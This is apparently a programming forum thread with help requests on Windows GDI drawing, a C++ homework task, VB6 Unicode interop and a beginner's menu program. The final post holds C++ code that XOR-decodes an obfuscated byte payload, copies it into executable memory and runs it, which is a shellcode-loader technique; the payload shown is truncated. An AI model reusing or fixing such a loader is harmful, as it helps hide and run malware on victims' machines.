|
Been a while since I futzed with Windows drawing. There are some tricks to it.
Let me go find some old code. Right off the bat, beware working with DCs and bitmaps.
MS' implementation can be subtle.
Charlie Gilley
“They who can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.” BF, 1759
Has never been more appropriate.
|
|
|
|
|
Thank You. Appreciate it.
|
|
|
|
|
You still sucking air? I'm coming up on some free time. Turn on your profile to allow direct email.
Charlie Gilley
“They who can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.” BF, 1759
Has never been more appropriate.
|
|
|
|
|
Okay, you have an error in your code:
// Copy the bits from the memory DC into the current dc
pDC->BitBlt(20, 10, 436, 364, &MemDCLady, 0, 0, SRCCOPY);
is the culprit. Recall that you've set your coordinate system to low English which fixes the bassackwardness of drawing.
If you trace your board generation, you will see that your Y values go from 0 to negative values. Looking at the above line,
you are drawing off the top of your view window. Change the 364 to -364 and you'll see your image.
Of course, *I've* never done that
Charlie Gilley
“They who can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.” BF, 1759
Has never been more appropriate.
|
|
|
|
|
See my other reply.
Charlie Gilley
“They who can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.” BF, 1759
Has never been more appropriate.
|
|
|
|
|
charlieg wrote: MS' implementation can be subtle.
I have worked with DCs bitmaps, icons etc over many years using MFC, GDI and GDI+, and never had a problem, other than with my own mistakes.
|
|
|
|
|
Truth in your statement, but I cut my graphics teeth in X-Windows which seemed to be much more logical than MS' implementation.
Charlie Gilley
“They who can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.” BF, 1759
Has never been more appropriate.
|
|
|
|
|
it would be polite to let us know if things are working now...
Charlie Gilley
“They who can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.” BF, 1759
Has never been more appropriate.
|
|
|
|
|
the following problem:
F&W Sdn Bhd is a packaging company. Write a program in C++ to help the company determine how many boxes that are needed for an item. For example, a boxof shampoo can have 30 bottles in it. 95 bottles of shampoo need to be packed into 3 boxes and 5 are left.
The number of each item and the number of an item that can be packed in a box are received as inputs. Display the number of boxes needed and the number of leftover items.
|
|
|
|
|
and?
"the debugger doesn't tell me anything because this code compiles just fine" - random QA comment
"Facebook is where you tell lies to your friends. Twitter is where you tell the truth to strangers." - chriselst
"I don't drink any more... then again, I don't drink any less." - Mike Mullikins uncle
|
|
|
|
|
You need to show the code you have written, and explain what the problem is, in order for people to help you. But I am afraid no one is going to write your complete assignment for you.
|
|
|
|
|
If you are serious about learning to do this yourself then take your assignment in small steps:
1 Write a program that displays output. The traditional first program displays "Hello World".
2 Now write a program that takes a number as input and then displays that same number as output.
3 Now write a program that takes two numbers as input and then displays those same two numbers.
4 Study how to do division in C++ so you know how to handle the dividend, the divisor, the quotient, and the remainder.
5 Now write your assignment, taking two numbers as input, doing the division, and displaying the results.
modified 9-Nov-22 13:59pm.
|
|
|
|
|
Since this is a class assignment, the best answers are ones that help you learn. You need to ask specific questions that you do not understand. The best way to get help is to show you have made a reasonable effort to figure it out.
|
|
|
|
|
Put the 5 that are left in a new box, and tell the other guy you only need 30 at a time.
"Before entering on an understanding, I have meditated for a long time, and have foreseen what might happen. It is not genius which reveals to me suddenly, secretly, what I have to say or to do in a circumstance unexpected by other people; it is reflection, it is meditation." - Napoleon I
|
|
|
|
|
|
Currently I am working on an old VB6 app to be compatible with UNICODE.
This app has SSTab and within this tab, there are user control q1, q2, q3 and so on. For q1, it has the following code:
Private WithEvents q1 As VBControlExtender
Private progID As String
procId = "ALCTX10.CTX10.1"
Set q1 = Controls.Add(procId, "q1")
myTab.tab = 1
q1.Move borderSize, topMargin, myTab.Width - borderSize * 2, _
myTab.Height - borderSize - topMargin
q1.Visible = True
The procId is referring to VC++ 6 DLL. All user controls are using this DLL.
For VC++ 6 DLL, I added ",_UNICODE, UNICODE" into the preprocessor definitions under the project setting of VC++ 6.
And compiled the DLL again and then brought it back to VB6.
The problem is I am still getting the same UNICODE issue from VB6 app.
I am using a foreign version of Windows XP so it is not the font problem.
I can’t just replace this DLL with UNICODE supported TextBox or RichTextBox since there are too many things going underneath the DLL.
I would appreciate very much if anyone sheds a light on this problem. Thanks.
|
|
|
|
|
Did you test this DLL with some VC++ code (both sides must be built with _UNICODE, UNICODE)?
Did you text every exported function of this DLL if it works without any problem?
|
|
|
|
|
Yes. The DLL is not a problem since it is compiled with _UNICODE, UNICODE with no problem.
The problem is VB6 translates all DLL calls to ANSI even though it is UNICODE.
|
|
|
|
|
For the VC++ side, make sure you have more than just the pre-processor definition. Check out the Project Properties -> General -> Project Defaults -> Character Set setting too.
For the VB6 side, I'm pretty sure VB6 uses Unicode to store strings internally (going off of memory). But, that doesn't mean the app is Unicode enabled. The VB runtime will most likely convert the string into whatever code page the system is running.
Now, for lower end chars in something like UTF-8 this isn't an issue... BUT... when VC++ says Unicode they mean UTF-16. So there will be a byte alignment issue where the Unicode DLL is treating every two characters as one for your prodId , for instance.
I'm not sure of the error you're getting, but if you're looking to interface VB6 with a DLL, you may be better off using Multibyte Character Set (MBCS)[^]. I haven't verified it, but MBCS is probably closer to what VB6 is doing anyway.
Jeremy Falcon
|
|
|
|
|
Hello everyone. Currently, working on a program however i tried my first two programs using a driver but i still have an error. I'm not sure what the issue is. I'm new to c++ any assistance would be appreciated, Attached is the driver and 1 and 2 program. Thanks.
Driver:
#include <iostream>
using std::cout;
using std::cin;
using std::endl;
#include<cstdlib>
void showMenu();
int getResponse();
int main()
{
int response;
while ( ( response = getResponse() ) != 5 )
{
switch( response )
{
}
system("pause");
}
cout<<"\n\nThank you and have a nice day!\n\n";
return 0;
}
void showMenu()
{
system("cls");
cout<<"***********************************\n";
cout<<"* Press 1 to do multiplication *\n";
cout<<"* Press 2 to play number guessing *\n";
cout<<"* Press 3 to print a square *\n";
cout<<"* Press 4 to calculate payroll *\n";
cout<<"* Press 5 to Quit *\n";
cout<<"***********************************\n";
cout<<"=====> ";
}
int getResponse()
{
int response;
showMenu();
cin>> response;
while( response < 1 || response > 5)
{
showMenu();
cin >> response;
}
return response;
}
1 CASE: MULTIPLICATION
<pre>#include <iostream>
using std::cout;
using std::endl;
using std::cin;
#include <cstdlib>
#include <ctime>
void correctMessage( void );
void incorrectMessage( void );
void multiplication( void );
int main()
{
srand( time( 0 ) );
multiplication();
return 0;
}
void correctMessage( void )
{
switch ( rand() % 4 ) {
case 0:
cout << "Very good!";break;
case 1:
cout << "Very good!";break;
case 2:
cout << "Very good!";break;
case 3:
cout << "Very good!";break;
}
cout << "\n\n";
}
void incorrectMessage( void )
{
switch ( rand() % 4 ) {
case 0:
cout << "No. Please try again.";break;
case 1:
cout << "No. Please try again.";break;
case 2:
cout << "No. Please try again!";break;
case 3:
cout << "No. Please try again!";break;
cout << "\n\n";
}
}
void multiplication( void )
{
int x, y, response = 0;
while ( response != -1 ) {
x = rand() % 10;
y = rand() % 10;
cout << "How much is " << x << " times " << y<< " (-1 to End)? "; cin >> response;
while ( response != -1 && response != x * y ) {
incorrectMessage();
cin >> response;
}
if ( response != -1 ) {
correctMessage();
}
}
return ;
}
CASE 2: GUESS NUMBER
<pre>#include <ps1.h>
#include <iostream>
#include<cstdlib>
int number,guess,m,l;
double low,high,win;
int main()
{
int x=(rand() %1000)+1,guess,t=1;
cout<<" I have a number between 1 and 1000"<<endl;
cout<<" can="" you="" guess="" my="" number?"<<endl;
="" cout<<"="" please="" type="" your="" first="" guess:"<<endl;
cin="">> number;
if(guess<x)
goto low;
else="" if(guess="">x)
goto high;
else if (guess==x)
goto win;
cin>>low;
cout<<" Too Low"<<endl<<t++;
goto low;
cin="">>high;
cout<<" Too high" <
|
|
|
|
|
debby forbes wrote: i tried my first two programs using a driver but i still have an error. Maybe if you explained what the error is, and where it occurs, we could make some suggestions.
|
|
|
|
|
I've fixed you program for you, in order to perform correctly the multiplication case. All the other ones are up to you.
#include <iostream>
using std::cout;
using std::cin;
using std::endl;
#include<cstdlib>
#include <ctime>
void showMenu();
int getResponse();
void correctMessage( );
void incorrectMessage( );
void multiplication( );
int main()
{
int response;
while ( ( response = getResponse() ) != 5 )
{
switch( response )
{
case 1:
multiplication(); cout<<"\n\n";
break;
default:
if ( response < 5)
cout << "sorry, not yet implemented\n\n";
break;
}
}
cout<<"\n\nThank you and have a nice day!\n\n";
return 0;
}
void showMenu()
{
system("cls");
cout<<"***********************************\n";
cout<<"* Press 1 to do multiplication *\n";
cout<<"* Press 2 to play number guessing *\n";
cout<<"* Press 3 to print a square *\n";
cout<<"* Press 4 to calculate payroll *\n";
cout<<"* Press 5 to Quit *\n";
cout<<"***********************************\n";
cout<<"=====> ";
}
int getResponse()
{
int response;
showMenu();
cin>> response;
while( response < 1 || response > 5)
{
showMenu();
cin >> response;
}
return response;
}
void correctMessage( void )
{
cout << "Very good!\n";
}
void incorrectMessage( void )
{
cout << "No. Please try again.\n";
}
void multiplication( void )
{
int x, y, response = 0;
srand( time( 0 ) );
while ( response != -1 )
{
x = rand() % 10;
y = rand() % 10;
cout << "How much is " << x << " times " << y<< " (-1 to End)? "; cin >> response;
while ( response != -1 && response != x * y )
{
incorrectMessage();
cin >> response;
}
if ( response != -1 )
{
correctMessage();
}
}
}
"In testa che avete, Signor di Ceprano?"
-- Rigoletto
|
|
|
|
|
For a month now, I am having a hard time figuring out why the payload isnt working after reversing in decoder2.cpp. The output of the cout from Reverse(input); when inserted into decoder1.cpp is valid and run perfectly. However, parsing the same Reverse(input) to the memcpy and virtualalloc in decoder2.cpp doesn't. I receive this error "Process returned -1073741819 (0xC0000005)"
decoder1.cpp
int main()
{
char input[] = "\xaa\xaa\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89...";
void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, input, sizeof input);
((void(*)())exec)();
return 0;
}
decoder2.cpp
void XORChiper(char orignalString[], int xorKey) {
int len = strlen(orignalString);
for (int i = 0; i < len; i++){
orignalString[i] = orignalString[i] ^ xorKey;
}
}
void Reverse(char name[])
{
int nameLength = strlen(name)-1;
for(int currentChar=0; currentChar < nameLength; --nameLength, ++currentChar)`
{
char temp = name[currentChar];`
name[currentChar] = name[nameLength];
name[nameLength] = temp;
}
}
int main(void)
{
char input[] = "7>[7>[2c[aa[42[77...";
int calc_len = sizeof(input);
int key = 7;
XORChiper(input,key);
Reverse(input);
cout<< input;
void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, input, sizeof input);
((void(*)())exec)();
return 0;
}
modified 20-Oct-22 11:42am.
|
|
|
|
|
The error code means Access Denied. So it probably means that your injected code is trying to read or write an address that you do not own.
|
|
|
|
|
please could show where in the code is causing this issue
|
|
|
|